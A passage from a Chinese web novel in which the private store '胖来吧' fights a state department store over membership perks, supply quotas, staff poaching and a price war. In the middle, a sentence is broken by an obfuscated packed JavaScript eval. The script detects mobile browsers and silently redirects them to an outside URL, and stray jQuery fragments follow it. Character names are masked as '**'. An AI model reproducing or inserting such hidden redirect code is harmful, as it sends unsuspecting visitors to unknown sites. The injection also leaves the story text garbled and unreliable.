“他们的积分规则很苛刻,消费十元才积一分,而且兑换门槛很高。最重要的是,积分年底清零,这不是明摆着坑人吗?”
**点头,道:“这就是国营单位的通病,缺乏诚意。咱们要反其道而行之。”
第二天,“胖来吧”推出了升级版会员制度,消费一元积一分,积分永久有效,兑换门槛大幅降低,同时还增加了会员专享特价,会员日活动等新福利。
这一招立竿见影。很多在百货商场办了会员卡的顾客纷纷抱怨:“还是'胖来吧'实在!百货商场那个会员卡就是个摆设!”
百货商场见状,使出了他们的**锏,利用供销社系统的资源优势,开始对一些热门商品进行限购和调拨。
最先受到影响的是的确良布料。
这天一早,负责布料的商户焦急地来找**:“方老板,供销社那边说的确良布料要优先供应百货商场,给咱们的配额减了一半!”
紧接着,王海也来了。
“五金交电公司说手电筒、电池这些紧俏货也要先保证百货商场。”
**意识到,这是对方在供应链上卡脖子。
他立即召集核心团队开会商讨对策。
“咱们得开辟新的进货渠道。”**在地图上画着圈,“王海,你带人去省城,联系省纺织厂直接进货,念真,你去地区五金站看看,要快!”
前面服装厂有几个大的订单,王海出了趟差,刚刚回来。
然而调查的路并不顺畅。
王海从省城打来电话:“**,省纺织厂说他们的产品都由供销社统一调配,不能直接卖给咱们。”
许念真那边也遇到类似情况:“地区五金站说要介绍信,还得有供销社的批文。”
**意识到,这是体制内的壁垒。
但他没有气馁,突然想起在乌义考察时认识的几个厂家代表。
“有了,王海,你立即去乌义,找那几家民营企业谈谈,现在政策放宽了,他们应该可以直接供货。”
他又对许念真说:“念真,你去周边县的供销社看看,也许能调剂到一些货源。”
这套“曲线救国”的策略果然奏效。
王海在乌义找到了几家愿意直接供货的厂家,虽然价格稍高,但解决了货源问题,许念真也从邻县调剂到一批紧俏商品。
更让**惊喜的是,这些外来商品因为款式新颖,反而更受顾客欢迎。百货商场虽然垄断了部分本地货源,却在商品多样性上落了下风。
就在**以为稳住阵脚时,百货商场使出了更狠的一招——挖人。
这天一早,服装区的李娟忐忑地来找**:“方老板,百货商场的经理昨天找我了,说要请我去当服装部主任,工资比现在高一半……”
紧接着,好几个业务骨干都收到了类似邀请。
对方开出的条件相当优厚,更高的工资、干部编制、甚至解决住房。
**意识到问题的严重性。
这些骨干员工都是他精心培养的,要是被挖走,不仅影响经营,还会带走很多商业机密。
他立即召开全体员工大会。
会上,**开门见山:“我知道最近有人来挖大家,开出的条件很诱人,我不想拦着大家追求更好的发展,但有几句话要说清楚。”
他走到台前,真诚地说:“第一,百货商场是国营单位,看起来稳定,但他们那种作风想必大家都清楚,能不能真的兑现承诺,要打个问号。”
“第二,'胖来吧'虽然是个体经营,但我们是把大家当家人看待的。我们的发展前景,绝不是百货商场能比的。”
“第三,”**加重语气,“我宣布,从下个月起,全体员工工资上调20%,年底双薪。并且设立员工股,优秀员工可以参与分红!”
台下顿时沸腾了。
20%的涨薪幅度在当时堪称惊人,更不用说年底双薪和员工股了,这些实实在在的福利,远比百货商场空头支票式的承诺有吸引力。
许念真接着宣布了详细的员
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430143|174108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
工发展计划,定期培训、晋升通道、子女教育补助等。
这一套组合拳下来,原本动摇的员工都安下心来。
然而,百货商场并未死心,几天后,他们使出了最狠的一招,价格战。
对方利用国营单位的成本优势,对几种热销商品进行大幅降价,甚至低于进价销售,明显是要用赔本的方式拖垮“胖来吧”。
王海着急地报告:“**,他们卖的白糖比咱们进价还低两**!顾客都跑去那边买了!”
张勇也愁容满面:“肥皂、火柴这些日用品也降价了,咱们根本没法跟啊!”
**冷静分析后,很快发现了对方的破绽。
“他们降价的都是计划内的商品,品种很少,咱们不跟他们硬拼,要发挥我们的优势。”
他立即调整经营策略:第一,增加百货商场没有的特色商品,如乌义来的新奇玩具,省城的最新布料;第二,推出组合销售,买特色商品送热销品,第三,强化服务优势,提供百货商场没有的售后保障。
最妙的一招是,**推出了“差价补偿”政策,如果顾客在“胖来吧”购买的商品三天内发现其他地方更便宜,凭证明补还差价。
这一政策彻底打消了顾客的比价顾虑。
价格战持续了一个月,百货商场亏本销售,压力越来越大。
而“胖来吧”虽然某些商品利润下降,但靠特色商品和服务优势,整体营业额反而上升了。
一直被动接招,**想改变这个格局,于是主动找到了县报社。
他找到主编,策划了一系列报道。
《新型商场服务百姓,诚信经营赢得口碑》《从价格战到价值战,看县城商业新气象》等。
这些报道既宣传了“胖来吧”的经营理念,又暗中批评了百货商场的不正当竞争。
**压力下,百货商场不得不收敛了许多。
经过这几个回合的较量,“胖来吧”不仅站稳了脚跟,还在百姓心中树立了良好的形象。